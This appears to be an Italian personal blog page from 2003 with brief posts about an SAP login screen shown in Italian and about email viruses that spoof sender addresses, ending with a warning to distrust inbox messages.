La frase del titolo è quella che mi sono trovato nella schermata di accesso, prima che potessi spiegare "grazie, indicami tutto in inglese, va bene così". Non stiamo parlando dell'ultima boita di Casalpusterlengo, ma di SAP, qualcosa che costa dei bei soldini.
Ah, cosa non si fa contro la fame!
| nuovi virus | [y2003-05_informatica] |
Non bastavano i virus via posta elettronica che sembravano provenire da "support@microsoft.com", che in fin dei conti erano facili da eliminare.
Adesso mi sono trovato nelle mailing list che modero degli indirizzi di gente probabilmente legata all'Open Source - sempre comodo dare loro la colpa - e addirittura... della lista stessa, o meglio mi è arrivato un messaggio di errore "utente non esistente" in risposta a qualcosa che sembrerebbe essere partito da là.
Io ogni tanto penso male e mi chiedo se a creare i virus siano i produttori di antivirus: non posso comunque che consigliare di non fare come Beppe Viola faceva cantare a Enzo Jannacci:
Quelli che l'ha detto il telegiornale
"ma..." "l'ha detto il telegiornale"
"d'accordo, però..." "L'HA DETTO IL TELEGIORNALE!!!!"
Insomma, non fidatevi di nulla di quello che trovate nelle vostre caselle. Anche se non è virus o spam, può benissimo essere una bufala!
| comma 22 | [y2003-05_informatica] |
| Lo spam di cinque minuti fa | [y2003-05_informatica] |
| no more floppy disk | [y2003-05_informatica] |
| Addio Vitaminic | [y2003-05_informatica] |